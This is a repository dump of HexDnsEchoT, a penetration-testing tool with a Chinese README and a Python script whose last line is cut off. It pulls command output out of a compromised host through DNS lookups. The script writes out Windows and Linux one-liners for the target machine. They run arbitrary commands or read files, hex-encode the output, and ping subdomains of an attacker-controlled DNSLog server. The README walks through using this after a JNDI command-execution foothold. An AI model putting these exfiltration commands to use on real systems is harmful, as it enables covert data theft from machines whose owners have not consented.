├── requirements.txt ├── img ├── image-20230318021248061.png ├── image-20230318021456697.png ├── image-20230318021542090.png ├── image-20230318021732464.png ├── image-20230319185120315.png ├── image-20230319185219861.png ├── image-20230319185425908.png ├── image-20230319185814165.png ├── image-20230319185941334.png ├── image-20230320152449892.png ├── image-20230320152816358.png ├── image-20230320154414350.png ├── image-20230320154805306.png ├── image-20230320155135487.png ├── image-20230320155144665.png ├── image-20230320160202914.png ├── image-20230320190108229.png ├── image-20230320190148588.png ├── image-20230418164449448.png ├── image-20230418164700806.png ├── image-20230418164824583.png ├── image-20230418164946198.png ├── image-20230418165145270.png ├── image-20230418165203133.png ├── image-20230418165405984.png └── image-20230705003306611.png ├── Timezone.py ├── README.md └── HexDnsEchoT.py /requirements.txt: -------------------------------------------------------------------------------- 1 | pytz==2023.3 2 | Requests==2.31.0 3 | tzlocal==5.0.1 4 | -------------------------------------------------------------------------------- /img/image-20230318021248061.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/A0WaQ4/HexDnsEchoT/HEAD/img/image-20230318021248061.png -------------------------------------------------------------------------------- /img/image-20230318021456697.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/A0WaQ4/HexDnsEchoT/HEAD/img/image-20230318021456697.png -------------------------------------------------------------------------------- /img/image-20230318021542090.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/A0WaQ4/HexDnsEchoT/HEAD/img/image-20230318021542090.png -------------------------------------------------------------------------------- /img/image-20230318021732464.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/A0WaQ4/HexDnsEchoT/HEAD/img/image-20230318021732464.png -------------------------------------------------------------------------------- /img/image-20230319185120315.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/A0WaQ4/HexDnsEchoT/HEAD/img/image-20230319185120315.png -------------------------------------------------------------------------------- /img/image-20230319185219861.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/A0WaQ4/HexDnsEchoT/HEAD/img/image-20230319185219861.png -------------------------------------------------------------------------------- /img/image-20230319185425908.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/A0WaQ4/HexDnsEchoT/HEAD/img/image-20230319185425908.png -------------------------------------------------------------------------------- /img/image-20230319185814165.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/A0WaQ4/HexDnsEchoT/HEAD/img/image-20230319185814165.png -------------------------------------------------------------------------------- /img/image-20230319185941334.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/A0WaQ4/HexDnsEchoT/HEAD/img/image-20230319185941334.png -------------------------------------------------------------------------------- /img/image-20230320152449892.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/A0WaQ4/HexDnsEchoT/HEAD/img/image-20230320152449892.png -------------------------------------------------------------------------------- /img/image-20230320152816358.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/A0WaQ4/HexDnsEchoT/HEAD/img/image-20230320152816358.png -------------------------------------------------------------------------------- /img/image-20230320154414350.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/A0WaQ4/HexDnsEchoT/HEAD/img/image-20230320154414350.png -------------------------------------------------------------------------------- /img/image-20230320154805306.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/A0WaQ4/HexDnsEchoT/HEAD/img/image-20230320154805306.png -------------------------------------------------------------------------------- /img/image-20230320155135487.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/A0WaQ4/HexDnsEchoT/HEAD/img/image-20230320155135487.png -------------------------------------------------------------------------------- /img/image-20230320155144665.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/A0WaQ4/HexDnsEchoT/HEAD/img/image-20230320155144665.png -------------------------------------------------------------------------------- /img/image-20230320160202914.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/A0WaQ4/HexDnsEchoT/HEAD/img/image-20230320160202914.png -------------------------------------------------------------------------------- /img/image-20230320190108229.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/A0WaQ4/HexDnsEchoT/HEAD/img/image-20230320190108229.png -------------------------------------------------------------------------------- /img/image-20230320190148588.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/A0WaQ4/HexDnsEchoT/HEAD/img/image-20230320190148588.png -------------------------------------------------------------------------------- /img/image-20230418164449448.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/A0WaQ4/HexDnsEchoT/HEAD/img/image-20230418164449448.png -------------------------------------------------------------------------------- /img/image-20230418164700806.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/A0WaQ4/HexDnsEchoT/HEAD/img/image-20230418164700806.png -------------------------------------------------------------------------------- /img/image-20230418164824583.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/A0WaQ4/HexDnsEchoT/HEAD/img/image-20230418164824583.png -------------------------------------------------------------------------------- /img/image-20230418164946198.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/A0WaQ4/HexDnsEchoT/HEAD/img/image-20230418164946198.png -------------------------------------------------------------------------------- /img/image-20230418165145270.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/A0WaQ4/HexDnsEchoT/HEAD/img/image-20230418165145270.png -------------------------------------------------------------------------------- /img/image-20230418165203133.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/A0WaQ4/HexDnsEchoT/HEAD/img/image-20230418165203133.png -------------------------------------------------------------------------------- /img/image-20230418165405984.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/A0WaQ4/HexDnsEchoT/HEAD/img/image-20230418165405984.png -------------------------------------------------------------------------------- /img/image-20230705003306611.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/A0WaQ4/HexDnsEchoT/HEAD/img/image-20230705003306611.png -------------------------------------------------------------------------------- /Timezone.py: -------------------------------------------------------------------------------- 1 | 2 | import pytz 3 | import datetime 4 | import time 5 | 6 | print(len(pytz.all_timezones)) 7 | for timezone in pytz.all_timezones: 8 | print(timezone) 9 | tz=pytz.timezone(timezone) 10 | t=datetime.datetime.fromtimestamp(int(time.time()),tz).strftime('%Y-%m-%d %H:%M:%S %Z%z') 11 | print(t) 12 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # HexDnsEchoT 2 | 3 | --- 4 | 5 | 该工具由[https://github.com/sv3nbeast/DnslogCmdEcho](https://github.com/sv3nbeast/DnslogCmdEcho)修改而来。 6 | 7 | ## 背景 8 | 9 | 在一次日常渗透过程中,发现了一台机器可以利用jndi命令执行,但是无法注入内存马,也无法直接上线,所以想到了[https://github.com/sv3nbeast/DnslogCmdEcho](https://github.com/sv3nbeast/DnslogCmdEcho)这一工具来获取一些机器的信息,但是在使用过程中,发现该工具使用的DNS为dig.pm,但是dig.pm经过一些修改后变得时好时坏,无法接收到目标机器的请求,而且使用该工具需要执行两个python文件,非常的难受,因此产生了修改该工具的想法。 10 | 11 | ## 修改内容 12 | 13 | * 将dig.pm修改为ceye.io,增加接收范围 14 | * 添加自定义参数,不再需要在文件中修改 15 | * 合并HexDnsEcho与CommandGen两个文件,使用更加方便 16 | * 添加获取上一次命令执行结果的功能 17 | * 兼容zsh 18 | * 添加自定义dns服务器 19 | * 实现有参数的命令执行,例如`ls -al`、`type file`、`cat file`等,由此可实现通过DNS读取文件 20 | * 实现分片传输,在发送数据次数存在限制的情况下使用不同`dnslog`子域获取结果 21 | * 添加`--force`功能,重复获取结果的情况下未发现结尾字符时强行进行解密 22 | * 容器环境默认没有装 hexdump,大部分容器环境自带 od 工具,在容器环境下使用"-l od"或"-l xxd"进行编码 23 | 24 | ### 2023-08-20 来自r0fus0d([@No-Github](https://github.com/No-Github))师傅的更新-[支持od,xxd](https://github.com/A0WaQ4/HexDnsEchoT/pull/6) 25 | 部分容器环境默认没有装 hexdump,大部分容器环境自带 od 工具,选择使用od或xxd进行编码 26 | 27 | ```bash 28 | python3 HexDnsEchoT.py -ds DNS服务器 -tz 服务器时区 -cc dnsurl中点的数量+2 -u http_basic认证用户 -p http_basic认证密码 -l od 29 | ``` 30 | 31 | ![image-20230705003306611](https://user-images.githubusercontent.com/18167071/261841065-60141879-2b22-49e7-941f-19dd8418f337.png) 32 | 33 | ```bash 34 | python3 HexDnsEchoT.py -ds DNS服务器 -tz 服务器时区 -cc dnsurl中点的数量+2 -u http_basic认证用户 -p http_basic认证密码 -l xxd 35 | ``` 36 | 37 | ![image-20230705003306611](https://user-images.githubusercontent.com/18167071/261841018-921a0aea-1954-40c0-9cd1-bd077954f99b.png) 38 | 39 | ### 2023-07-05 添加`--force`强行解密 40 | 41 | 重复获取结果的情况下无视结尾字符强行解密 42 | 43 | ![image-20230705003306611](https://github.com/A0WaQ4/HexDnsEchoT/blob/main/img/image-20230705003306611.png) 44 | 45 | ### 2023-04-18 支持分片传输 46 | 47 | 用于服务器存在发送限制,一个url仅能发送限定次数的情况 48 | 49 | 以dig.pm为例(因为dig.pm存在dns数据接收不全,漏数据情况,与本次更新遇到的情况十分类似,故使用dig.pm演示,为了更好的使用,推荐大家寻找其他的自建di g.pm) 50 | 51 | 1.正常使用工具; 52 | 53 | ![image-20230418164449448](https://github.com/A0WaQ4/HexDnsEchoT/blob/main/img/image-20230418164449448.png) 54 | 55 | 2.当发现接收到的数据缺少或者不全时,会输出类似`发现中断,缺少第4行的数据,下一次执行将从第4行开始`的结果,同时若发现接收的数据存在最后一行时会出现`疑似为最后一块,请输入Y/N决定是否开始处理数据`,若没有上一句话可以选择`Y`,此处我们选择`N`; 56 | 57 | ![image-20230418164700806](https://github.com/A0WaQ4/HexDnsEchoT/blob/main/img/image-20230418164700806.png) 58 | 59 | 3.选择`N`后继续执行,会输出我们下一步需要执行的语句,复制到靶机执行即可; 60 | 61 | ![image-20230418164824583](https://github.com/A0WaQ4/HexDnsEchoT/blob/main/img/image-20230418164824583.png) 62 | 63 | 4.数据不全会一直执行,需要不断将命令复制到靶机上执行; 64 | 65 | ![image-20230418164946198](https://github.com/A0WaQ4/HexDnsEchoT/blob/main/img/image-20230418164946198.png) 66 | 67 | 5.一直到最后没有出现`发现中断,缺少第4行的数据,下一次执行将从第4行开始`的类似字样,我们选择`Y`,即可获取执行结果; 68 | 69 | ![image-20230418165203133](https://github.com/A0WaQ4/HexDnsEchoT/blob/main/img/image-20230418165203133.png) 70 | 71 | 6.同时也会输出`获取本次命令执行结果`的语句,若想要再次获取执行结果,直接复制粘贴使用即可。 72 | 73 | ![image-20230418165405984](https://github.com/A0WaQ4/HexDnsEchoT/blob/main/img/image-20230418165405984.png) 74 | 75 | ### 2023-03-27 来自r0fus0d(@No-Github)师傅的更新-[支持http basic认证的自建dig.pm](https://github.com/A0WaQ4/HexDnsEchoT/pull/4) 76 | 77 | 用于存在http basic认证的自建dig.pm 78 | 79 | ```bash 80 | python3 HexDnsEchoT.py -ds DNS服务器 -tz 服务器时区 -cc dnsurl中点的数量+2 -u http_basic认证用户 -p http_basic认证密码 81 | ``` 82 | 83 | ![](https://user-images.githubusercontent.com/18167071/227868628-58e221da-3620-431b-9552-49628c699fbd.png) 84 | 85 | ## 使用 86 | 87 | ```bash 88 | usage: HexDnsEchoT.py [-h] [-d DNSURL] [-t TOKEN] [-lt LASTFINISHTIME] 89 | [-f FILTER] [-ds DOMAIN_SERVER] [-tz TIMEZONE] 90 | [-cc COUNT] [-m MODEL] [-u HTTPBASICUSER] 91 | [-p HTTPBASICPASS] 92 | 93 | options: 94 | -h, --help show this help message and exit 95 | -d DNSURL, --dnsurl DNSURL 96 | Ceye Dnslog 97 | -t TOKEN, --token TOKEN 98 | Dns Server Token or CeyeToken 99 | -lt LASTFINISHTIME, --lastfinishtime LASTFINISHTIME 100 | The LastFinishTime 101 | -f FILTER, --filter FILTER 102 | Dns Filter 103 | -ds DOMAIN_SERVER, --domain_server DOMAIN_SERVER 104 | Domain Server 105 | -tz TIMEZONE, --timezone TIMEZONE 106 | Timezone 107 | -cc COUNT, --count COUNT 108 | Count Counts 109 | -m MODEL, --model MODEL 110 | Recent Result 111 | -u HTTPBASICUSER, --httpbasicuser HTTPBASICUSER 112 | HTTPBasicAuth User 113 | -p HTTPBASICPASS, --httpbasicpass HTTPBASICPASS 114 | HTTPBasicAuth Pass 115 | ``` 116 | 117 | 因为ceye仅能保存100个数据,且会出现重复的情况下,添加自定义dns服务器 118 | 119 | ### Ceye 120 | 121 | ```bash 122 | python3 HexDnsEchoT.py -d YourCeye.ceye.io -t ceyeToken 123 | ``` 124 | 125 | ![image-20230319185120315](https://github.com/A0WaQ4/HexDnsEchoT/blob/main/img/image-20230319185120315.png) 126 | 127 | ![image-20230319185219861](https://github.com/A0WaQ4/HexDnsEchoT/blob/main/img/image-20230319185219861.png) 128 | 129 | ### 自定义DNS服务器 130 | 131 | ```bash 132 | python3 HexDnsEchoT.py -ds DNS服务器 -tz 服务器时区 -cc dnsurl中点的数量+2 133 | ``` 134 | 135 | 例 136 | 137 | ```bash 138 | python3 HexDnsEchoT.py -ds http://dig.pm -tz "UTC" -cc 7 139 | ``` 140 | 141 | 服务器时区可以使用项目中的`Timezone.py`自行比对 142 | 143 | ![image-20230320160202914](https://github.com/A0WaQ4/HexDnsEchoT/blob/main/img/image-20230320160202914.png) 144 | 145 | 其中`-cc 7`为下图所示,dnsurl中5个点加2,为7 146 | 147 | ![image-20230320152449892](https://github.com/A0WaQ4/HexDnsEchoT/blob/main/img/image-20230320152449892.png) 148 | 149 | 可能等待结果返回的时间会比较长,请耐心等待 150 | 151 | ![image-20230320152816358](https://github.com/A0WaQ4/HexDnsEchoT/blob/main/img/image-20230320152816358.png) 152 | 153 | 注意:dig.pm有可能获取结果不稳定,大家可以自己搭建或者寻找其他DNSLOG平台使用,只需要满足为以下项目搭建即可: 154 | 155 | [https://github.com/yumusb/DNSLog-Platform-Golang](https://github.com/yumusb/DNSLog-Platform-Golang) 156 | 157 | 或者是以`http://x.x.x.x/new_gen`获取随机子域名并以`http://x.x.x.x/token`获取dns结果的dnslog平台也可以使用 158 | 159 | fofa可以直接搜索`DNSLOG Platform`寻找DNSLOG平台 160 | 161 | ![image-20230320154414350](https://github.com/A0WaQ4/HexDnsEchoT/blob/main/img/image-20230320154414350.png) 162 | 163 | 复制输出的命令,在目标机器上执行 164 | 165 | ![image-20230318021456697](https://github.com/A0WaQ4/HexDnsEchoT/blob/main/img/image-20230318021456697.png) 166 | 167 | DNS获取到请求,进行解密,获取机器信息 168 | 169 | ![image-20230318021542090](https://github.com/A0WaQ4/HexDnsEchoT/blob/main/img/image-20230318021542090.png) 170 | 171 | 在linux上也可以执行获取结果 172 | 173 | ![image-20230318021732464](https://github.com/A0WaQ4/HexDnsEchoT/blob/main/img/image-20230318021732464.png) 174 | 175 | 执行成功后自动开启新的filter,无需重新执行直接进行下一步命令执行 176 | 177 | ![image-20230319185425908](https://github.com/A0WaQ4/HexDnsEchoT/blob/main/img/image-20230319185425908.png) 178 | 179 | 有时会出现目标机器的命令未执行完成,但是已经获取到了一部分结果,可以使用以下命令再次获取结果,本命令已经输出在上次的执行结果中,可直接复制使用 180 | 181 | ### Ceye 182 | 183 | ```shell 184 | python3 HexDnsEchoT.py -d yourceye.ceye.io -t ceyetoken -f filterstr -lt "上次命令执行的时间" -m GR 185 | ``` 186 | 187 | ![image-20230319185814165](https://github.com/A0WaQ4/HexDnsEchoT/blob/main/img/image-20230319185814165.png) 188 | 189 | ![image-20230319185941334](https://github.com/A0WaQ4/HexDnsEchoT/blob/main/img/image-20230319185941334.png) 190 | 191 | ### 自定义DNS服务器 192 | 193 | ```bash 194 | python3 HexDnsEchoT.py -ds 自定义DNS服务器 -t 上一次执行的token -lt "上次命令执行的时间" -m GR -cc dnsurl中点的数量 195 | ``` 196 | 197 | 以dig.pm为例 198 | 199 | ```bash 200 | python3 HexDnsEchoT.py -ds http://dig.pm -t 上一次执行的token -lt "上次命令执行的时间" -m GR -cc 7 201 | ``` 202 | 203 | ![image-20230320155144665](https://github.com/A0WaQ4/HexDnsEchoT/blob/main/img/image-20230320155144665.png) 204 | 205 | 可能等的时间会比较长,请耐心等待 206 | 207 | ![image-20230320154805306](https://github.com/A0WaQ4/HexDnsEchoT/blob/main/img/image-20230320154805306.png) 208 | 209 | 有参数的命令执行 210 | 211 | ``` 212 | ls -al 213 | ``` 214 | 215 | ![image-20230320190108229](https://github.com/A0WaQ4/HexDnsEchoT/blob/main/img/image-20230320190108229.png) 216 | 217 | ``` 218 | type useruid.ini 219 | ``` 220 | 221 | ![image-20230320190148588](https://github.com/A0WaQ4/HexDnsEchoT/blob/main/img/image-20230320190148588.png) 222 | 223 | 224 | 225 | ## 总结 226 | 227 | 在遇到工具无法使用的时候不要放弃,多想想办法就可以解决 228 | -------------------------------------------------------------------------------- /HexDnsEchoT.py: -------------------------------------------------------------------------------- 1 | import argparse 2 | import sys 3 | import time 4 | import random 5 | import json 6 | import binascii 7 | import datetime 8 | import pytz 9 | import requests 10 | import re 11 | import operator 12 | from tzlocal import get_localzone 13 | from requests.auth import HTTPBasicAuth 14 | 15 | # author: 617sec //https://github.com/Dr-S1x17 16 | # author: sv3nbeast //https://github.com/sv3nbeast/DnslogCmdEcho 17 | # author: A0WaQ4 //https://github.com/A0WaQ4/HexDnsEchoT 18 | 19 | requestTime = 3 # DNSLog platform interval per request 20 | commandHex = {} 21 | 22 | def get_new_config(): 23 | global domain,dnsurl,token,command,filterdns,lastFinishTime,commandStartPos,commandEndPos,lastRecordLen,finishOnce 24 | localTime = time.strftime("%Y-%m-%d %H:%M:%S", time.localtime()) # get localtime 25 | lastFinishTime = timezone_change(localTime, src_timezone=str(get_localzone()), dst_timezone="UTC") # record last finish time 26 | print(lastFinishTime) 27 | print("获取本次命令执行的结果:\npython3 HexDnsEchoT.py -d " + domain + " -t " + token + " -f " + filterdns + " -lt \"" + lastFinishTime + "\"" + " -m GR --force") 28 | commandStartPos = 0 29 | commandEndPos = 0 30 | lastRecordLen = 0 31 | finishOnce = False 32 | 33 | def get_ds_config(): 34 | global time_zone,domain_server,count_counts,domain,dnsurl,token,command,lastFinishTime,commandStartPos,commandEndPos,lastRecordLen,finishOnce,judgeDealData,getResult,skipLinesRe,tokens,lastFinishTimes,getGR 35 | url = domain_server + '/new_gen' 36 | if args.httpbasicuser == None: 37 | dataResult = json.loads(requests.get(url,verify=False).text) 38 | else: 39 | dataResult = json.loads(requests.get(url,verify=False,auth=HTTPBasicAuth(args.httpbasicuser, args.httpbasicpass)).text) 40 | domain = dataResult['domain'] 41 | dnsurl = domain 42 | token = dataResult['token'] 43 | tokens = token 44 | localTime = time.strftime("%Y-%m-%d %H:%M:%S", time.localtime()) # get localtime 45 | lastFinishTime = timezone_change(localTime, src_timezone=str(get_localzone()), dst_timezone=time_zone) # record last finish time 46 | lastFinishTimes = lastFinishTime 47 | print("\n获取本次命令执行结果:\npython3 HexDnsEchoT.py -ds " + domain_server + " -t " + token + " -lt \"" + lastFinishTime + "\" -m GR -cc " + str(count_counts) + " --force\n") 48 | print(domain_server + '/' +token) 49 | # dig.pm's timezone is utc,need to change timezone 50 | print(lastFinishTime) 51 | commandStartPos = 0 52 | commandEndPos = 0 53 | lastRecordLen = 0 54 | finishOnce = False 55 | getResult = False 56 | getGR = True 57 | judgeDealData = "N" 58 | 59 | def get_piece_config(): 60 | global domain,token,command,lastFinishTime,commandStartPos,commandEndPos,lastRecordLen,finishOnce,getResult,skipLinesRe,tokens,lastFinishTimes 61 | url = domain_server + '/new_gen' 62 | if args.httpbasicuser == None: 63 | dataResult = json.loads(requests.get(url,verify=False).text) 64 | else: 65 | dataResult = json.loads(requests.get(url,verify=False,auth=HTTPBasicAuth(args.httpbasicuser, args.httpbasicpass)).text) 66 | domain = dataResult['domain'] 67 | token = dataResult['token'] 68 | tokens = tokens + "," + token 69 | commandTemWin = r'for /f "skip=skipLines tokens=1-17" %a in (execfile7.txt) do start /b ping -nc 1 %a%b%c%d%e%f%g%h%i%j%k%l%m%n%o%p%q.execfile.{0}' 70 | commandTemLinux = r'cat execfile7.txt | tail -n +skipLines |sed "s/[[:space:]]//g" | cut -d "|" -f1 | cut -c 5-55| while read line;do ping -c 1 -l 1 $line.execfile.{0}; done' 71 | commandWin = commandTemWin.format(domain) 72 | commandLinux = commandTemLinux.format(domain) 73 | execfilename = ''.join(re.findall(r'[A-Za-z]', command)) 74 | print("Windows:\n") 75 | print(commandWin.replace('command',command).replace('execfile', execfilename).replace('skipLines',str(skipLinesRe))) 76 | print("\nLinux:\n") 77 | print(commandLinux.replace('command',command).replace('execfile', execfilename).replace('skipLines',str(skipLinesRe))) 78 | localTime = time.strftime("%Y-%m-%d %H:%M:%S", time.localtime()) # get localtime 79 | lastFinishTime = timezone_change(localTime, src_timezone=str(get_localzone()), dst_timezone="Asia/Shanghai") # record last finish time 80 | lastFinishTimes = lastFinishTimes + "," + lastFinishTime 81 | print("\n获取本次命令执行结果:\npython3 HexDnsEchoT.py -ds " + domain_server +" -t " + tokens + " -lt \"" + lastFinishTimes + "\" -m GR -cc " + str(count_counts) + " --force\n") 82 | print(domain_server+'/'+token) 83 | # dig.pm's timezone is utc,need to change timezone 84 | print(lastFinishTime) 85 | commandStartPos = 0 86 | commandEndPos = 0 87 | lastRecordLen = 0 88 | getResult = False 89 | 90 | def get_config(): 91 | global time_zone,domain_server,count_counts,dnsurl,token,command,filterdns,lastFinishTime,commandStartPos,commandEndPos,lastRecordLen,finishOnce,skipLinesRe,getResult,getGR,firstGR,judgeDealData 92 | commandStartPos = 0 93 | commandEndPos = 0 94 | lastRecordLen = 0 95 | judgeDealData = "N" 96 | finishOnce = False 97 | firstGR = True 98 | getGR = False 99 | getResult = False 100 | 101 | 102 | def generate_command(tool="hexdump"): 103 | commandTemWin = r'del execfile7 && del execfile7.txt && command > execfile7 &&echo 11111111111>>execfile7 && certutil -encodehex execfile7 execfile7.txt && for /f "tokens=1-17" %a in (execfile7.txt) do start /b ping -nc 1 %a%b%c%d%e%f%g%h%i%j%k%l%m%n%o%p%q.execfile.{0}' 104 | if tool == "od": 105 | commandTemLinux = r'rm -f execfile7;rm -f execfile7.txt;command > execfile7 &&echo 11111111111 >>execfile7 && cat execfile7|od -t x1 | sed "s/[[:space:]]//g" | cut -c 4-60| while read line;do ping -c 1 -l 1 $line.execfile.{0}; done' 106 | elif tool == "xxd": 107 | commandTemLinux = r'rm -f execfile7;rm -f execfile7.txt;command > execfile7 &&echo 11111111111 >>execfile7 && cat execfile7|xxd > execfile7.txt && echo "00000051" >> execfile7.txt && cat execfile7.txt | cut -c 5-49 | sed "s/[[:space:]]//g" | sed "s/://g" | cut -d "|" -f1| while read line;do ping -c 1 -l 1 $line.execfile.{0}; done' 108 | else: 109 | commandTemLinux = r'rm -f execfile7;rm -f execfile7.txt;command > execfile7 &&echo 11111111111 >>execfile7 && cat execfile7|hexdump -C > execfile7.txt && cat execfile7.txt |sed "s/[[:space:]]//g" | cut -d "|" -f1 | cut -c 5-55| while read line;do ping -c 1 -l 1 $line.execfile.{0}; done' 110 | commandWin = commandTemWin.format(dnsurl) 111 | commandLinux = commandTemLinux.format(dnsurl) 112 | execfilename = ''.join(re.findall(r'[A-Za-z]', command)) 113 | print("Windows:\n") 114 | print(commandWin.replace('command',command).replace('execfile', execfilename)) 115 | print("\nLinux:\n") 116 | print(commandLinux.replace('command',command).replace('execfile', execfilename)) 117 | 118 | 119 | def get_line(data: list): 120 | global skipLinesRe 121 | hexCommand = { item[:4] : item[4:] for item in data } 122 | linesNumber = [int(item[:3],base=16) for item in hexCommand] 123 | linesNumber = sorted(linesNumber,key = lambda x:x) 124 | lackLines = sorted(list(set(range(linesNumber[0], linesNumber[-1]+1)) - set(linesNumber)), reverse=True) 125 | hexCommand = sorted(hexCommand.items(), key=lambda x: int(x[0], 16)) 126 | first = int(hexCommand[0][0][:3],base = 16) 127 | last = int(hexCommand[-1][0][:3],base = 16) 128 | if skipLinesRe >= first: 129 | if len(lackLines) == 0: 130 | skipLinesRe = last 131 | else: 132 | skipLinesRe = lackLines.pop() 133 | print("\n发现中断,缺少第"+str(skipLinesRe)+"行的数据,下一次执行将从第"+str(skipLinesRe)+"行开始") 134 | else: 135 | print("\n发现中断,缺少第"+str(skipLinesRe)+"行至第"+str(first)+"行的数据,下一次执行将从第"+str(skipLinesRe)+"行开始") 136 | 137 | def generate_code(code_len=4): 138 | all_charts = '0123456789abcdefghijklmnopqrstuvwxyz' 139 | last_pos = len(all_charts) -1 140 | code = '' 141 | for _ in range(code_len): 142 | index = random.randint(0,last_pos) 143 | code += all_charts[index] 144 | return code 145 | 146 | def timezone_change(time_str, src_timezone, dst_timezone=None, time_format=None): 147 | """ 148 | change timezone to utc timezone 149 | if dst_timezone is none, change time to localtime 150 | 151 | :param time_str: 152 | :param src_timezone: source timezone 153 | :param dst_timezone: target timezone; if equals none, change to localtime 154 | """ 155 | if not time_format: 156 | time_format = "%Y-%m-%d %H:%M:%S" 157 | 158 | old_dt = datetime.datetime.strptime(time_str, time_format) 159 | 160 | dt = pytz.timezone(src_timezone).localize(old_dt) 161 | utc_dt = pytz.utc.normalize(dt.astimezone(pytz.utc)) 162 | 163 | if dst_timezone: 164 | _timezone = pytz.timezone(dst_timezone) 165 | new_dt = _timezone.normalize(utc_dt.astimezone(_timezone)) 166 | else: 167 | new_dt = utc_dt.astimezone() 168 | return new_dt.strftime(time_format) 169 | 170 | # get DNSLog data 171 | def get_dnslogdata() -> list: 172 | if commandStartPos and commandEndFlag: 173 | commandHex[commandName].extend([result[length-1]['name'] 174 | for length in range(len(result),commandStartPos,-1) 175 | if result[length-1]['name'].count('.') == 5]) 176 | # Get the command part of the DNSLog data 177 | tempList = [] 178 | for length in range(commandStartPos,-1,-1): 179 | if result[length-1]['created_at'] < lastFinishTime:break 180 | if result[length-1]['name'].count('.') == 5: 181 | tempList.append(result[length-1]['name']) 182 | commandHex[commandName].extend(tempList) 183 | return commandHex[commandName] 184 | 185 | # get DNSLog data 186 | def get_ds_dnslogdata() -> list: 187 | if commandStartPos and commandEndFlag: 188 | commandHex[commandName].extend([result[length-1][1]['subdomain'] 189 | for length in range(len(result),commandStartPos,-1) 190 | if result[length-1][1]['subdomain'].count('.') == count_counts]) 191 | # Get the command part of the DNSLog data 192 | tempList = [] 193 | for length in range(commandStartPos,-1,-1): 194 | if result[length-1][1]['time'] < lastFinishTime:break 195 | if result[length-1][1]['subdomain'].count('.') == count_counts: 196 | if not result[length-1][1]['subdomain'].find("_") != -1: 197 | tempList.append(result[length-1][1]['subdomain']) 198 | commandHex[commandName].extend(tempList) 199 | return commandHex[commandName] 200 | 201 | # deal with DNSlog data, Format the output 202 | def deal_data(data: list): 203 | global finishOnce 204 | if commandStartPos and commandEndFlag: 205 | try: 206 | hexCommand = { item[:4] : item[4:] for item in data } 207 | 208 | hexCommand = sorted(hexCommand.items(), key=lambda x: int(x[0], 16)) 209 | 210 | hexCommand = [ item[1][:32] for item in hexCommand] 211 | 212 | except: 213 | print('!!!!Error Command format! Try to find DNSLog site(dnslog) to get conntent..') 214 | pass 215 | hexCommand[-1] = ''.join(hexCommand[-1].split('0d0a')[:-1]) 216 | commandResult = ''.join(hexCommand) 217 | # print(commandResult) 218 | try: 219 | commandResult = commandResult.split("0a3131") 220 | commandResult = commandResult[0] #兼容linux命令 221 | except: 222 | pass 223 | print('\n----Command Result----') 224 | Head = '\033[36m' 225 | End = '\033[0m' 226 | try: 227 | try:#gb2312解码 228 | print(Head + binascii.a2b_hex(commandResult).decode('gb2312') + End) 229 | except UnicodeDecodeError:#utf-8解码 linux存在中文字符需要这个解码 230 | print(Head + binascii.a2b_hex(commandResult).decode('utf-8') + End) 231 | except: 232 | print('Maybe use START to execute commands and cause DNSLog records to be lost..\nIt is recommended to remove START from the command') 233 | print('----Get Result End!----') 234 | finishOnce = True 235 | 236 | # deal with DNSlog data, Format the output 237 | def deal_ds_data(data: list): 238 | global finishOnce,getGR 239 | if commandStartPos and commandEndFlag: 240 | try: 241 | hexCommand = { item[:4] : item[4:] for item in data } 242 | hexCommand = sorted(hexCommand.items(), key=lambda x: int(x[0], 16)) 243 | 244 | hexCommand = [ item[1][:32] for item in hexCommand] 245 | except: 246 | print('!!!!Error Command format! Try to find DNSLog site(dnslog) to get conntent..') 247 | pass 248 | hexCommand[-1] = ''.join(hexCommand[-1].split('0d0a')[:-1]) 249 | commandResult = ''.join(hexCommand) 250 | # print(commandResult) 251 | try: 252 | commandResult = commandResult.split("0a3131") 253 | commandResult = commandResult[0] #兼容linux命令 254 | except: 255 | pass 256 | print('\n----Command Result----') 257 | Head = '\033[36m' 258 | End = '\033[0m' 259 | try: 260 | try:#gb2312解码 261 | print(Head + binascii.a2b_hex(commandResult).decode('gb2312') + End) 262 | except UnicodeDecodeError:#utf-8解码 linux存在中文字符需要这个解码 263 | print(Head + binascii.a2b_hex(commandResult).decode('utf-8') + End) 264 | except: 265 | print('Maybe use START to execute commands and cause DNSLog records to be lost..\nIt is recommended to remove START from the command') 266 | print('----Get Result End!----') 267 | finishOnce = True 268 | getGR = True 269 | 270 | if __name__ == "__main__": 271 | parser = argparse.ArgumentParser() 272 | parser.add_argument('-d', "--dnsurl", help = "ceye dnslog") 273 | parser.add_argument('-t', "--token", help = "ceye token") 274 | parser.add_argument('-lt', "--lastfinishtime", help = "the lastfinisgtime") 275 | parser.add_argument('-f', "--filter", help = "dns filter") 276 | parser.add_argument('-ds', "--domain_server", help = "domain server") 277 | parser.add_argument('-tz', "--timezone", help = "timezone") 278 | parser.add_argument('-cc', "--count", help = "count counts") 279 | parser.add_argument('-m', "--model", help = "recent result", default = "result") 280 | parser.add_argument('-u', "--httpbasicuser", help="HTTPBasicAuth User") 281 | parser.add_argument('-p', "--httpbasicpass", help="HTTPBasicAuth Pass") 282 | parser.add_argument('-l', 